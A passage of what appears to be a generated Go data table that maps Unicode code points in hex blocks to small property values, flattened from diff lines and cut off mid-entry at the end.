0x3543: 0x0080, 0x3544: 0x0080, 0x3545: 0x0080, + 0x3546: 0x0080, 0x3547: 0x0080, 0x3548: 0x0080, + 0x3550: 0x0080, 0x3551: 0x0080, + 0x3552: 0x0080, 0x3553: 0x0080, 0x3554: 0x0080, 0x3555: 0x0080, 0x3556: 0x0080, 0x3557: 0x0080, + 0x3558: 0x0080, + 0x3560: 0x00c0, 0x3561: 0x00c0, 0x3562: 0x00c0, 0x3563: 0x00c0, + 0x3564: 0x00c0, 0x3565: 0x00c0, 0x3566: 0x00c0, 0x3567: 0x00c0, 0x3568: 0x00c0, 0x3569: 0x00c0, + 0x356a: 0x00c0, 0x356b: 0x00c0, 0x356c: 0x00c0, 0x356d: 0x00c0, 0x356e: 0x00c0, 0x356f: 0x00c0, + 0x3570: 0x00c0, 0x3571: 0x00c0, 0x3572: 0x00c0, 0x3573: 0x00c0, 0x3574: 0x00c0, 0x3575: 0x00c0, + 0x3576: 0x00c0, 0x3577: 0x00c0, 0x3578: 0x00c0, 0x3579: 0x00c0, 0x357a: 0x00c0, 0x357b: 0x00c0, + 0x357c: 0x00c0, 0x357d: 0x0080, 0x357e: 0x0080, 0x357f: 0x0080, + // Block 0xd6, offset 0x3580 + 0x3580: 0x00c0, 0x3581: 0x00c0, 0x3582: 0x00c0, 0x3583: 0x00c0, 0x3584: 0x00c0, 0x3585: 0x00c0, + 0x3586: 0x00c0, 0x3587: 0x00c0, 0x3588: 0x00c0, 0x3589: 0x00c0, 0x358a: 0x00c0, 0x358b: 0x00c0, + 0x358c: 0x00c0, 0x358d: 0x00c0, 0x358e: 0x00c0, 0x358f: 0x00c0, 0x3590: 0x00c0, 0x3591: 0x00c0, + 0x3592: 0x00c0, 0x3593: 0x00c0, 0x3594: 0x00c0, 0x3595: 0x00c0, 0x3596: 0x00c0, 0x3597: 0x00c0, + 0x3598: 0x00c0, 0x3599: 0x00c0, 0x359a: 0x00c0, 0x359b: 0x00c0, 0x359c: 0x00c0, 0x359d: 0x0080, + 0x359e: 0x0080, 0x359f: 0x0080, + // Block 0xd7, offset 0x35c0 + 0x35c0: 0x00c2, 0x35c1: 0x00c2, 0x35c2: 0x00c2, 0x35c3: 0x00c2, 0x35c4: 0x00c2, 0x35c5: 0x00c4, + 0x35c6: 0x00c0, 0x35c7: 0x00c4, 0x35c8: 0x0080, 0x35c9: 0x00c4, 0x35ca: 0x00c4, 0x35cb: 0x00c0, + 0x35cc: 0x00c0, 0x35cd: 0x00c1, 0x35ce: 0x00c4, 0x35cf: 0x00c4, 0x35d0: 0x00c4, 0x35d1: 0x00c4, + 0x35d2: 0x00c4, 0x35d3: 0x00c2, 0x35d4: 0x00c2, 0x35d5: 0x00c2, 0x35d6: 0x00c2, 0x35d7: 0x00c1, + 0x35d8: 0x00c2, 0x35d9: 0x00c2, 0x35da: 0x00c2, 0x35db: 0x00c2, 0x35dc: 0x00c2, 0x35dd: 0x00c4, + 0x35de: 0x00c2, 0x35df: 0x00c2, 0x35e0: 0x00c2, 0x35e1: 0x00c4, 0x35e2: 0x00c0, 0x35e3: 0x00c0, + 0x35e4: 0x00c4, 0x35e5: 0x00c3, 0x35e6: 0x00c3, + 0x35eb: 0x0082, 0x35ec: 0x0082, 0x35ed: 0x0082, 0x35ee: 0x0082, 0x35ef: 0x0084, + 0x35f0: 0x0080, 0x35f1: 0x0080, 0x35f2: 0x0080, 0x35f3: 0x0080, 0x35f4: 0x0080, 0x35f5: 0x0080, + 0x35f6: 0x0080, + // Block 0xd8, offset 0x3600 + 0x3600: 0x00c0, 0x3601: 0x00c0, 0x3602: 0x00c0, 0x3603: 0x00c0, 0x3604: 0x00c0, 0x3605: 0x00c0, + 0x3606: 0x00c0, 0x3607: 0x00c0, 0x3608: 0x00c0, 0x3609: 0x00c0, 0x360a: 0x00c0, 0x360b: 0x00c0, + 0x360c: 0x00c0, 0x360d: 0x00c0, 0x360e: 0x00c0, 0x360f: 0x00c0, 0x3610: 0x00c0, 0x3611: 0x00c0, + 0x3612: 0x00c0, 0x3613: 0x00c0, 0x3614: 0x00c0, 0x3615: 0x00c0, 0x3616: 0x00c0, 0x3617: 0x00c0, + 0x3618: 0x00c0, 0x3619: 0x00c0, 0x361a: 0x00c0, 0x361b: 0x00c0, 0x361c: 0x00c0, 0x361d: 0x00c0, + 0x361e: 0x00c0, 0x361f: 0x00c0, 0x3620: 0x00c0, 0x3621: 0x00c0, 0x3622: 0x00c0, 0x3623: 0x00c0, + 0x3624: 0x00c0, 0x3625: 0x00c0, 0x3626: 0x00c0, 0x3627: 0x00c0, 0x3628: 0x00c0, 0x3629: 0x00c0, + 0x362a: 0x00c0, 0x362b: 0x00c0, 0x362c: 0x00c0, 0x362d: 0x00c0, 0x362e: 0x00c0, 0x362f: 0x00c0, + 0x3630: 0x00c0, 0x3631: 0x00c0, 0x3632: 0x00c0, 0x3633: 0x00c0, 0x3634: 0x00c0, 0x3635: 0x00c0, + 0x3639: 0x0080, 0x363a: 0x0080, 0x363b: 0x0080, + 0x363c: 0x0080, 0x363d: 0x0080, 0x363e: 0x0080, 0x363f: 0x0080, + // Block 0xd9, offset 0x3640 + 0x3640: 0x00c0, 0x3641: 0x00c0, 0x3642: 0x00c0, 0x3643: 0x00c0, 0x3644: 0x00c0, 0x3645: 0x00c0, + 0x3646: 0x00c0, 0x3647: 0x00c0, 0x3648: 0x00c0, 0x3649: 0x00c0, 0x364a: 0x00c0, 0x364b: 0x00c0, + 0x364c: 0x00c0, 0x364d: 0x00c0, 0x364e: 0x00c0, 0x364f: 0x00c0, 0x3650: 0x00c0, 0x3651: 0x00c0, + 0x3652: 0x00c0, 0x3653: 0x00c0, 0x3654: 0x00c0, 0x3655: 0x00c0, + 0x3658: 0x0080, 0x3659: 0x0080, 0x365a: 0x0080, 0x365b: 0x0080, 0x365c: 0x0080, 0x365d: 0x0080, + 0x365e: 0x0080, 0x365f: 0x0080, 0x3660: 0x00c0, 0x3661: 0x00c0, 0x3662: 0x00c0, 0x3663: 0x00c0, + 0x3664: 0x00c0, 0x3665: 0x00c0, 0x3666: 0x00c0, 0x3667: 0x00c0, 0x3668: 0x00c0, 0x3669: 0x00c0, + 0x366a: 0x00c0, 0x366b: 0x00c0, 0x366c: 0x00c0, 0x366d: 0x00c0, 0x366e: 0x00c0, 0x366f: 0x00c0, + 0x3670: 0x00c0, 0x3671: 0x00c0, 0x3672: 0x00c0, + 0x3678: 0x0080, 0x3679: 0x0080, 0x367a: 0x0080, 0x367b: 0x0080, + 0x367c: 0x0080, 0x367d: 0x0080, 0x367e: 0x0080, 0x367f: 0x0080, + // Block 0xda, offset 0x3680 + 0x3680: 0x00c2, 0x3681: 0x00c4, 0x3682: 0x00c2, 0x3683: 0x00c4, 0x3684: 0x00c4, 0x3685: 0x00c4, + 0x3686: 0x00c2, 0x3687: 0x00c2, 0x3688: 0x00c2, 0x3689: 0x00c4, 0x368a: 0x00c2, 0x368b: 0x00c2, + 0x368c: 0x00c4, 0x368d: 0x00c2, 0x368e: 0x00c4, 0x368f: 0x00c4, 0x3690: 0x00c2, 0x3691: 0x00c4, + 0x3699: 0x0080, 0x369a: 0x0080, 0x369b: 0x0080, 0x369c: 0x0080, + 0x36a9: 0x0084, + 0x36aa: 0x0084, 0x36ab: 0x0084, 0x36ac: 0x0084, 0x36ad: 0x0082, 0x36ae: 0x0082, 0x36af: 0x0080, + // Block 0xdb, offset 0x36c0 + 0x36c0: 0x00c0, 0x36c1: 0x00c0, 0x36c2: 0x00c0, 0x36c3: 0x00c0, 0x36c4: 0x00c0, 0x36c5: 0x00c0, + 0x36c6: 0x00c0, 0x36c7: 0x00c0, 0x36c8: 0x00c0, + // Block 0xdc, offset 0x3700 + 0x3700: 0x00c0, 0x3701: 0x00c0, 0x3702: 0x00c0, 0x3703: 0x00c0, 0x3704: 0x00c0, 0x3705: 0x00c0, + 0x3706: 0x00c0, 0x3707: 0x00c0, 0x3708: 0x00c0, 0x3709: 0x00c0, 0x370a: 0x00c0, 0x370b: 0x00c0, + 0x370c: 0x00c0, 0x370d: 0x00c0, 0x370e: 0x00c0, 0x370f: 0x00c0, 0x3710: 0x00c0, 0x3711: 0x00c0, + 0x3712: 0x00c0, 0x3713: 0x00c0, 0x3714: 0x00c0, 0x3715: 0x00c0, 0x3716: 0x00c0, 0x3717: 0x00c0, + 0x3718: 0x00c0, 0x3719: 0x00c0, 0x371a: 0x00c0, 0x371b: 0x00c0, 0x371c: 0x00c0, 0x371d: 0x00c0, + 0x371e: 0x00c0, 0x371f: 0x00c0, 0x3720: 0x00c0, 0x3721: 0x00c0, 0x3722: 0x00c0, 0x3723: 0x00c0, + 0x3724: 0x00c0, 0x3725: 0x00c0, 0x3726: 0x00c0, 0x3727: 0x00c0, 0x3728: 0x00c0, 0x3729: 0x00c0, + 0x372a: 0x00c0, 0x372b: 0x00c0, 0x372c: 0x00c0, 0x372d: 0x00c0, 0x372e: 0x00c0, 0x372f: 0x00c0, + 0x3730: 0x00c0, 0x3731: 0x00c0, 0x3732: 0x00c0, + // Block 0xdd, offset 0x3740 + 0x3740: 0x00c0, 0x3741: 0x00c0, 0x3742: 0x00c0, 0x3743: 0x00c0, 0x3744: 0x00c0, 0x3745: 0x00c0, + 0x3746: 0x00c0, 0x3747: 0x00c0, 0x3748: 0x00c0, 0x3749: 0x00c0, 0x374a: 0x00c0, 0x374b: 0x00c0, + 0x374c: 0x00c0, 0x374d: 0x00c0, 0x374e: 0x00c0, 0x374f: 0x00c0, 0x3750: 0x00c0, 0x3751: 0x00c0, + 0x3752: 0x00c0, 0x3753: 0x00c0, 0x3754: 0x00c0, 0x3755: 0x00c0, 0x3756: 0x00c0, 0x3757: 0x00c0, + 0x3758: 0x00c0, 0x3759: 0x00c0, 0x375a: 0x00c0, 0x375b: 0x00c0, 0x375c: 0x00c0, 0x375d: 0x00c0, + 0x375e: 0x00c0, 0x375f: 0x00c0, 0x3760: 0x00c0, 0x3761: 0x00c0, 0x3762: 0x00c0, 0x3763: 0x00c0, + 0x3764: 0x00c0, 0x3765: 0x00c0, 0x3766: 0x00c0, 0x3767: 0x00c0, 0x3768: 0x00c0, 0x3769: 0x00c0, + 0x376a: 0x00c0, 0x376b: 0x00c0, 0x376c: 0x00c0, 0x376d: 0x00c0, 0x376e: 0x00c0, 0x376f: 0x00c0, + 0x3770: 0x00c0, 0x3771: 0x00c0, 0x3772: 0x00c0, + 0x377a: 0x0080, 0x377b: 0x0080, + 0x377c: 0x0080, 0x377d: 0x0080, 0x377e: 0x0080, 0x377f: 0x0080, + // Block 0xde, offset 0x3780 + 0x3780: 0x00c1, 0x3781: 0x00c2, 0x3782: 0x00c2, 0x3783: 0x00c2, 0x3784: 0x00c2, 0x3785: 0x00c2, + 0x3786: 0x00c2, 0x3787: 0x00c2, 0x3788: 0x00c2, 0x3789: 0x00c2, 0x378a: 0x00c2, 0x378b: 0x00c2, + 0x378c: 0x00c2, 0x378d: 0x00c2, 0x378e: 0x00c2, 0x378f: 0x00c2, 0x3790: 0x00c2, 0x3791: 0x00c2, + 0x3792: 0x00c2, 0x3793: 0x00c2, 0x3794: 0x00c2, 0x3795: 0x00c2, 0x3796: 0x00c2, 0x3797: 0x00c2, + 0x3798: 0x00c2, 0x3799: 0x00c2, 0x379a: 0x00c2, 0x379b: 0x00c2, 0x379c: 0x00c2, 0x379d: 0x00c2, + 0x379e: 0x00c2, 0x379f: 0x00c2, 0x37a0: 0x00c2, 0x37a1: 0x00c2, 0x37a2: 0x00c4, 0x37a3: 0x00c2, + 0x37a4: 0x00c3, 0x37a5: 0x00c3, 0x37a6: 0x00c3, 0x37a7: 0x00c3, + 0x37b0: 0x00c0, 0x37b1: 0x00c0, 0x37b2: 0x00c0, 0x37b3: 0x00c0, 0x37b4: 0x00c0, 0x37b5: 0x00c0, + 0x37b6: 0x00c0, 0x37b7: 0x00c0, 0x37b8: 0x00c0, 0x37b9: 0x00c0, + // Block 0xdf, offset 0x37c0 + 0x37e0: 0x0080, 0x37e1: 0x0080, 0x37e2: 0x0080, 0x37e3: 0x0080, + 0x37e4: 0x0080, 0x37e5: 0x0080, 0x37e6: 0x0080, 0x37e7: 0x0080, 0x37e8: 0x0080, 0x37e9: 0x0080, + 0x37ea: 0x0080, 0x37eb: 0x0080, 0x37ec: 0x0080, 0x37ed: 0x0080, 0x37ee: 0x0080, 0x37ef: 0x0080, + 0x37f0: 0x0080, 0x37f1: 0x0080, 0x37f2: 0x0080, 0x37f3: 0x0080, 0x37f4: 0x0080, 0x37f5: 0x0080, + 0x37f6: 0x0080, 0x37f7: 0x0080, 0x37f8: 0x0080, 0x37f9: 0x0080, 0x37fa: 0x0080, 0x37fb: 0x0080, + 0x37fc: 0x0080, 0x37fd: 0x0080, 0x37fe: 0x0080, + // Block 0xe0, offset 0x3800 + 0x3800: 0x00c0, 0x3801: 0x00c0, 0x3802: 0x00c0, 0x3803: 0x00c0, 0x3804: 0x00c0, 0x3805: 0x00c0, + 0x3806: 0x00c0, 0x3807: 0x00c0, 0x3808: 0x00c0, 0x3809: 0x00c0, 0x380a: 0x00c0, 0x380b: 0x00c0, + 0x380c: 0x00c0, 0x380d: 0x00c0, 0x380e: 0x00c0, 0x380f: 0x00c0, 0x3810: 0x00c0, 0x3811: 0x00c0, + 0x3812: 0x00c0, 0x3813: 0x00c0, 0x3814: 0x00c0, 0x3815: 0x00c0, 0x3816: 0x00c0, 0x3817: 0x00c0, + 0x3818: 0x00c0, 0x3819: 0x00c0, 0x381a: 0x00c0, 0x381b: 0x00c0, 0x381c: 0x00c0, 0x381d: 0x00c0, + 0x381e: 0x00c0, 0x381f: 0x00c0, 0x3820: 0x00c0, 0x3821: 0x00c0, 0x3822: 0x00c0, 0x3823: 0x00c0, + 0x3824: 0x00c0, 0x3825: 0x00c0, 0x3826: 0x00c0, 0x3827: 0x00c0, 0x3828: 0x00c0, 0x3829: 0x00c0, + 0x382b: 0x00c3, 0x382c: 0x00c3, 0x382d: 0x0080, + 0x3830: 0x00c0, 0x3831: 0x00c0, + // Block 0xe1, offset 0x3840 + 0x387d: 0x00c3, 0x387e: 0x00c3, 0x387f: 0x00c3, + // Block 0xe2, offset 0x3880 + 0x3880: 0x00c0, 0x3881: 0x00c0, 0x3882: 0x00c0, 0x3883: 0x00c0, 0x3884: 0x00c0, 0x3885: 0x00c0, + 0x3886: 0x00c0, 0x3887: 0x00c0, 0x3888: 0x00c0, 0x3889: 0x00c0, 0x388a: 0x00c0, 0x388b: 0x00c0, + 0x388c: 0x00c0, 0x388d: 0x00c0, 0x388e: 0x00c0, 0x388f: 0x00c0, 0x3890: 0x00c0, 0x3891: 0x00c0, + 0x3892: 0x00c0, 0x3893: 0x00c0, 0x3894: 0x00c0, 0x3895: 0x00c0, 0x3896: 0x00c0, 0x3897: 0x00c0, + 0x3898: 0x00c0, 0x3899: 0x00c0, 0x389a: 0x00c0, 0x389b: 0x00c0, 0x389c: 0x00c0, 0x389d: 0x0080, + 0x389e: 0x0080, 0x389f: 0x0080, 0x38a0: 0x0080, 0x38a1: 0x0080, 0x38a2: 0x0080, 0x38a3: 0x0080, + 0x38a4: 0x0080, 0x38a5: 0x0080, 0x38a6: 0x0080, 0x38a7: 0x00c0, + 0x38b0: 0x00c2, 0x38b1: 0x00c2, 0x38b2: 0x00c2, 0x38b3: 0x00c4, 0x38b4: 0x00c2, 0x38b5: 0x00c2, + 0x38b6: 0x00c2, 0x38b7: 0x00c2, 0x38b8: 0x00c2, 0x38b9: 0x00c2, 0x38ba: 0x00c2, 0x38bb: 0x00c2, + 0x38bc: 0x00c2, 0x38bd: 0x00c2, 0x38be: 0x00c2, 0x38bf: 0x00c2, + // Block 0xe3, offset 0x38c0 + 0x38c0: 0x00c2, 0x38c1: 0x00c2, 0x38c2: 0x00c2, 0x38c3: 0x00c2, 0x38c4: 0x00c2, 0x38c5: 0x00c0, + 0x38c6: 0x00c3, 0x38c7: 0x00c3, 0x38c8: 0x00c3, 0x38c9: 0x00c3, 0x38ca: 0x00c3, 0x38cb: 0x00c3, + 0x38cc: 0x00c3, 0x38cd: 0x00c3, 0x38ce: 0x00c3, 0x38cf: 0x00c3, 0x38d0: 0x00c3, 0x38d1: 0x0082, + 0x38d2: 0x0082, 0x38d3: 0x0082, 0x38d4: 0x0084, 0x38d5: 0x0080, 0x38d6: 0x0080, 0x38d7: 0x0080, + 0x38d8: 0x0080, 0x38d9: 0x0080, + 0x38f0: 0x00c2, 0x38f1: 0x00c2, 0x38f2: 0x00c2, 0x38f3: 0x00c2, 0x38f4: 0x00c4, 0x38f5: 0x00c4, + 0x38f6: 0x00c2, 0x38f7: 0x00c2, 0x38f8: 0x00c2, 0x38f9: 0x00c2, 0x38fa: 0x00c2, 0x38fb: 0x00c2, + 0x38fc: 0x00c2, 0x38fd: 0x00c2, 0x38fe: 0x00c2, 0x38ff: 0x00c2, + // Block 0xe4, offset 0x3900 + 0x3900: 0x00c2, 0x3901: 0x00c2, 0x3902: 0x00c3, 0x3903: 0x00c3, 0x3904: 0x00c3, 0x3905: 0x00c3, + 0x3906: 0x0080, 0x3907: 0x0080, 0x3908: 0x0080, 0x3909: 0x0080, + 0x3930: 0x00c2, 0x3931: 0x00c0, 0x3932: 0x00c2, 0x3933: 0x00c2, 0x3934: 0x00c4, 0x3935: 0x00c4, + 0x3936: 0x00c4, 0x3937: 0x00c0, 0x3938: 0x00c2, 0x3939: 0x00c4, 0x393a: 0x00c4, 0x393b: 0x00c2, + 0x393c: 0x00c2, 0x393d: 0x00c4, 0x393e: 0x00c2, 0x393f: 0x00c2, + // Block 0xe5, offset 0x3940 + 0x3940: 0x00c0, 0x3941: 0x00c2, 0x3942: 0x00c4, 0x3943: 0x00c4, 0x3944: 0x00c2, 0x3945: 0x0080, + 0x3946: 0x0080, 0x3947: 0x0080, 0x3948: 0x0080, 0x3949: 0x0084, 0x394a: 0x0082, 0x394b: 0x0081, + 0x3960: 0x00c0, 0x3961: 0x00c0, 0x3962: 0x00c0, 0x3963: 0x00c0, + 0x3964: 0x00c0, 0x3965: 0x00c0, 0x3966: 0x00c0, 0x3967: 0x00c0, 0x3968: 0x00c0, 0x3969: 0x00c0, + 0x396a: 0x00c0, 0x396b: 0x00c0, 0x396c: 0x00c0, 0x396d: 0x00c0, 0x396e: 0x00c0, 0x396f: 0x00c0, + 0x3970: 0x00c0, 0x3971: 0x00c0, 0x3972: 0x00c0, 0x3973: 0x00c0, 0x3974: 0x00c0, 0x3975: 0x00c0, + 0x3976: 0x00c0, + // Block 0xe6, offset 0x3980 + 0x3980: 0x00c0, 0x3981: 0x00c3, 0x3982: 0x00c0, 0x3983: 0x00c0, 0x3984: 0x00c0, 0x3985: 0x00c0, + 0x3986: 0x00c0, 0x3987: 0x00c0, 0x3988: 0x00c0, 0x3989: 0x00c0, 0x398a: 0x00c0, 0x398b: 0x00c0, + 0x398c: 0x00c0, 0x398d: 0x00c0, 0x398e: 0x00c0, 0x398f: 0x00c0, 0x3990: 0x00c0, 0x3991: 0x00c0, + 0x3992: 0x00c0, 0x3993: 0x00c0, 0x3994: 0x00c0, 0x3995: 0x00c0, 0x3996: 0x00c0, 0x3997: 0x00c0, + 0x3998: 0x00c0, 0x3999: 0x00c0, 0x399a: 0x00c0, 0x399b: 0x00c0, 0x399c: 0x00c0, 0x399d: 0x00c0, + 0x399e: 0x00c0, 0x399f: 0x00c0, 0x39a0: 0x00c0, 0x39a1: 0x00c0, 0x39a2: 0x00c0, 0x39a3: 0x00c0, + 0x39a4: 0x00c0, 0x39a5: 0x00c0, 0x39a6: 0x00c0, 0x39a7: 0x00c0, 0x39a8: 0x00c0, 0x39a9: 0x00c0, + 0x39aa: 0x00c0, 0x39ab: 0x00c0, 0x39ac: 0x00c0, 0x39ad: 0x00c0, 0x39ae: 0x00c0, 0x39af: 0x00c0, + 0x39b0: 0x00c0, 0x39b1: 0x00c0, 0x39b2: 0x00c0, 0x39b3: 0x00c0, 0x39b4: 0x00c0, 0x39b5: 0x00c0, + 0x39b6: 0x00c0, 0x39b7: 0x00c0, 0x39b8: 0x00c3, 0x39b9: 0x00c3, 0x39ba: 0x00c3, 0x39bb: 0x00c3, + 0x39bc: 0x00c3, 0x39bd: 0x00c3, 0x39be: 0x00c3, 0x39bf: 0x00c3, + // Block 0xe7, offset 0x39c0 + 0x39c0: 0x00c3, 0x39c1: 0x00c3, 0x39c2: 0x00c3, 0x39c3: 0x00c3, 0x39c4: 0x00c3, 0x39c5: 0x00c3, + 0x39c6: 0x00c6, 0x39c7: 0x0080, 0x39c8: 0x0080, 0x39c9: 0x0080, 0x39ca: 0x0080, 0x39cb: 0x0080, + 0x39cc: 0x0080, 0x39cd: 0x0080, + 0x39d2: 0x0080, 0x39d3: 0x0080, 0x39d4: 0x0080, 0x39d5: 0x0080, 0x39d6: 0x0080, 0x39d7: 0x0080, + 0x39d8: 0x0080, 0x39d9: 0x0080, 0x39da: 0x0080, 0x39db: 0x0080, 0x39dc: 0x0080, 0x39dd: 0x0080, + 0x39de: 0x0080, 0x39df: 0x0080, 0x39e0: 0x0080, 0x39e1: 0x0080, 0x39e2: 0x0080, 0x39e3: 0x0080, + 0x39e4: 0x0080, 0x39e5: 0x0080, 0x39e6: 0x00c0, 0x39e7: 0x00c0, 0x39e8: 0x00c0, 0x39e9: 0x00c0, + 0x39ea: 0x00c0, 0x39eb: 0x00c0, 0x39ec: 0x00c0, 0x39ed: 0x00c0, 0x39ee: 0x00c0, 0x39ef: 0x00c0, + 0x39f0: 0x00c6, 0x39f1: 0x00c0, 0x39f2: 0x00c0, 0x39f3: 0x00c3, 0x39f4: 0x00c3, 0x39f5: 0x00c0, + 0x39ff: 0x00c6, + // Block 0xe8, offset 0x3a00 + 0x3a00: 0x00c3, 0x3a01: 0x00c3, 0x3a02: 0x00c0, 0x3a03: 0x00c0, 0x3a04: 0x00c0, 0x3a05: 0x00c0, + 0x3a06: 0x00c0, 0x3a07: 0x00c0, 0x3a08: 0x00c0, 0x3a09: 0x00c0, 0x3a0a: 0x00c0, 0x3a0b: 0x00c0, + 0x3a0c: 0x00c0, 0x3a0d: 0x00c0, 0x3a0e: 0x00c0, 0x3a0f: 0x00c0, 0x3a10: 0x00c0, 0x3a11: 0x00c0, + 0x3a12: 0x00c0, 0x3a13: 0x00c0, 0x3a14: 0x00c0, 0x3a15: 0x00c0, 0x3a16: 0x00c0, 0x3a17: 0x00c0, + 0x3a18: 0x00c0, 0x3a19: 0x00c0, 0x3a1a: 0x00c0, 0x3a1b: 0x00c0, 0x3a1c: 0x00c0, 0x3a1d: 0x00c0, + 0x3a1e: 0x00c0, 0x3a1f: 0x00c0, 0x3a20: 0x00c0, 0x3a21: 0x00c0, 0x3a22: 0x00c0, 0x3a23: 0x00c0, + 0x3a24: 0x00c0, 0x3a25: 0x00c0, 0x3a26: 0x00c0, 0x3a27: 0x00c0, 0x3a28: 0x00c0, 0x3a29: 0x00c0, + 0x3a2a: 0x00c0, 0x3a2b: 0x00c0, 0x3a2c: 0x00c0, 0x3a2d: 0x00c0, 0x3a2e: 0x00c0, 0x3a2f: 0x00c0, + 0x3a30: 0x00c0, 0x3a31: 0x00c0, 0x3a32: 0x00c0, 0x3a33: 0x00c3, 0x3a34: 0x00c3, 0x3a35: 0x00c3, + 0x3a36: 0x00c3, 0x3a37: 0x00c0, 0x3a38: 0x00c0, 0x3a39: 0x00c6, 0x3a3a: 0x00c3, 0x3a3b: 0x0080, + 0x3a3c: 0x0080, 0x3a3d: 0x0040, 0x3a3e: 0x0080, 0x3a3f: 0x0080, + // Block 0xe9, offset 0x3a40 + 0x3a40: 0x0080, 0x3a41: 0x0080, 0x3a42: 0x00c3, + 0x3a4d: 0x0040, 0x3a50: 0x00c0, 0x3a51: 0x00c0, + 0x3a52: 0x00c0, 0x3a53: 0x00c0, 0x3a54: 0x00c0, 0x3a55: 0x00c0, 0x3a56: 0x00c0, 0x3a57: 0x00c0, + 0x3a58: 0x00c0, 0x3a59: 0x00c0, 0x3a5a: 0x00c0, 0x3a5b: 0x00c0, 0x3a5c: 0x00c0, 0x3a5d: 0x00c0, + 0x3a5e: 0x00c0, 0x3a5f: 0x00c0, 0x3a60: 0x00c0, 0x3a61: 0x00c0, 0x3a62: 0x00c0, 0x3a63: 0x00c0, + 0x3a64: 0x00c0, 0x3a65: 0x00c0, 0x3a66: 0x00c0, 0x3a67: 0x00c0, 0x3a68: 0x00c0, + 0x3a70: 0x00c0, 0x3a71: 0x00c0, 0x3a72: 0x00c0, 0x3a73: 0x00c0, 0x3a74: 0x00c0, 0x3a75: 0x00c0, + 0x3a76: 0x00c0, 0x3a77: 0x00c0, 0x3a78: 0x00c0, 0x3a79: 0x00c0, + // Block 0xea, offset 0x3a80 + 0x3a80: 0x00c3, 0x3a81: 0x00c3, 0x3a82: 0x00c3, 0x3a83: 0x00c0, 0x3a84: 0x00c0, 0x3a85: 0x00c0, + 0x3a86: 0x00c0, 0x3a87: 0x00c0, 0x3a88: 0x00c0, 0x3a89: 0x00c0, 0x3a8a: 0x00c0, 0x3a8b: 0x00c0, + 0x3a8c: 0x00c0, 0x3a8d: 0x00c0, 0x3a8e: 0x00c0, 0x3a8f: 0x00c0, 0x3a90: 0x00c0, 0x3a91: 0x00c0, + 0x3a92: 0x00c0, 0x3a93: 0x00c0, 0x3a94: 0x00c0, 0x3a95: 0x00c0, 0x3a96: 0x00c0, 0x3a97: 0x00c0, + 0x3a98: 0x00c0, 0x3a99: 0x00c0, 0x3a9a: 0x00c0, 0x3a9b: 0x00c0, 0x3a9c: 0x00c0, 0x3a9d: 0x00c0, + 0x3a9e: 0x00c0, 0x3a9f: 0x00c0, 0x3aa0: 0x00c0, 0x3aa1: 0x00c0, 0x3aa2: 0x00c0, 0x3aa3: 0x00c0, + 0x3aa4: 0x00c0, 0x3aa5: 0x00c0, 0x3aa6: 0x00c0, 0x3aa7: 0x00c3, 0x3aa8: 0x00c3, 0x3aa9: 0x00c3, + 0x3aaa: 0x00c3, 0x3aab: 0x00c3, 0x3aac: 0x00c0, 0x3aad: 0x00c3, 0x3aae: 0x00c3, 0x3aaf: 0x00c3, + 0x3ab0: 0x00c3, 0x3ab1: 0x00c3, 0x3ab2: 0x00c3, 0x3ab3: 0x00c6, 0x3ab4: 0x00c6, + 0x3ab6: 0x00c0, 0x3ab7: 0x00c0, 0x3ab8: 0x00c0, 0x3ab9: 0x00c0, 0x3aba: 0x00c0, 0x3abb: 0x00c0, + 0x3abc: 0x00c0, 0x3abd: 0x00c0, 0x3abe: 0x00c0, 0x3abf: 0x00c0, + // Block 0xeb, offset 0x3ac0 + 0x3ac0: 0x0080, 0x3ac1: 0x0080, 0x3ac2: 0x0080, 0x3ac3: 0x0080, 0x3ac4: 0x00c0, 0x3ac5: 0x00c0, + 0x3ac6: 0x00c0, 0x3ac7: 0x00c0, + 0x3ad0: 0x00c0, 0x3ad1: 0x00c0, + 0x3ad2: 0x00c0, 0x3ad3: 0x00c0, 0x3ad4: 0x00c0, 0x3ad5: 0x00c0, 0x3ad6: 0x00c0, 0x3ad7: 0x00c0, + 0x3ad8: 0x00c0, 0x3ad9: 0x00c0, 0x3ada: 0x00c0, 0x3adb: 0x00c0, 0x3adc: 0x00c0, 0x3add: 0x00c0, + 0x3ade: 0x00c0, 0x3adf: 0x00c0, 0x3ae0: 0x00c0, 0x3ae1: 0x00c0, 0x3ae2: 0x00c0, 0x3ae3: 0x00c0, + 0x3ae4: 0x00c0, 0x3ae5: 0x00c0, 0x3ae6: 0x00c0, 0x3ae7: 0x00c0, 0x3ae8: 0x00c0, 0x3ae9: 0x00c0, + 0x3aea: 0x00c0, 0x3aeb: 0x00c0, 0x3aec: 0x00c0, 0x3aed: 0x00c0, 0x3aee: 0x00c0, 0x3aef: 0x00c0, + 0x3af0: 0x00c0, 0x3af1: 0x00c0, 0x3af2: 0x00c0, 0x3af3: 0x00c3, 0x3af4: 0x0080, 0x3af5: 0x0080, + 0x3af6: 0x00c0, + // Block 0xec, offset 0x3b00 + 0x3b00: 0x00c3, 0x3b01: 0x00c3, 0x3b02: 0x00c0, 0x3b03: 0x00c0, 0x3b04: 0x00c0, 0x3b05: 0x00c0, + 0x3b06: 0x00c0, 0x3b07: 0x00c0, 0x3b08: 0x00c0, 0x3b09: 0x00c0, 0x3b0a: 0x00c0, 0x3b0b: 0x00c0, + 0x3b0c: 0x00c0, 0x3b0d: 0x00c0, 0x3b0e: 0x00c0, 0x3b0f: 0x00c0, 0x3b10: 0x00c0, 0x3b11: 0x00c0, + 0x3b12: 0x00c0, 0x3b13: 0x00c0, 0x3b14: 0x00c0, 0x3b15: 0x00c0, 0x3b16: 0x00c0, 0x3b17: 0x00c0, + 0x3b18: 0x00c0, 0x3b19: 0x00c0, 0x3b1a: 0x00c0, 0x3b1b: 0x00c0, 0x3b1c: 0x00c0, 0x3b1d: 0x00c0, + 0x3b1e: 0x00c0, 0x3b1f: 0x00c0, 0x3b20: 0x00c0, 0x3b21: 0x00c0, 0x3b22: 0x00c0, 0x3b23: 0x00c0, + 0x3b24: 0x00c0, 0x3b25: 0x00c0, 0x3b26: 0x00c0, 0x3b27: 0x00c0, 0x3b28: 0x00c0, 0x3b29: 0x00c0, + 0x3b2a: 0x00c0, 0x3b2b: 0x00c0, 0x3b2c: 0x00c0, 0x3b2d: 0x00c0, 0x3b2e: 0x00c0, 0x3b2f: 0x00c0, + 0x3b30: 0x00c0, 0x3b31: 0x00c0, 0x3b32: 0x00c0, 0x3b33: 0x00c0, 0x3b34: 0x00c0, 0x3b35: 0x00c0, + 0x3b36: 0x00c3, 0x3b37: 0x00c3, 0x3b38: 0x00c3, 0x3b39: 0x00c3, 0x3b3a: 